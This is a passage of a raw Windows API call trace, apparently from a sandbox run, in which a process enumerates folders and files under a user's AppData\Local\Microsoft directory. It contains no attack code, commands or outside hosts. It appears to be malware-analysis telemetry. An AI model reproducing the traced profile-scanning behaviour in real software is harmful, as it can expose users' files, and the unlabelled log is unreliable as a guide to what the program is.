ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.512] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.512] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.512] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.513] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ", lpFilePart=0x0) returned 0x42 [0209.513] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\bu343qpq\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.513] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.513] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.513] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.684] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ", lpFilePart=0x0) returned 0x42 [0209.684] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\BU343QPQ\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\bu343qpq\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.684] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.684] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.685] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.685] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32", lpFilePart=0x0) returned 0x42 [0209.685] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\imoe4e32\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.685] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.685] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.685] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.686] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32", lpFilePart=0x0) returned 0x42 [0209.686] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IMOE4E32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\imoe4e32\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.686] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.686] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.686] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.686] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4", lpFilePart=0x0) returned 0x42 [0209.687] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\o90tlbf4\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.687] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.687] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2192ed0, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2192ed0, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0209.687] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.687] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.688] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4", lpFilePart=0x0) returned 0x42 [0209.688] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\O90TLBF4\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\o90tlbf4\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.688] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.688] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2192ed0, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2192ed0, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0209.688] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2192ed0, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x2192ed0, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x2192ed0, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0 [0209.688] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.688] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x33 [0209.689] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0209.690] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.690] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0209.690] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.690] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0209.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.691] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x33 [0209.691] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0209.691] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a184b86, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a4e76b4, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0209.691] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.691] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x35 [0209.692] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\gamedvr\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.692] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.692] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7db342, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0x212d1b5b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0209.692] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.692] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.693] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x35 [0209.693] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\GameDVR\\*" 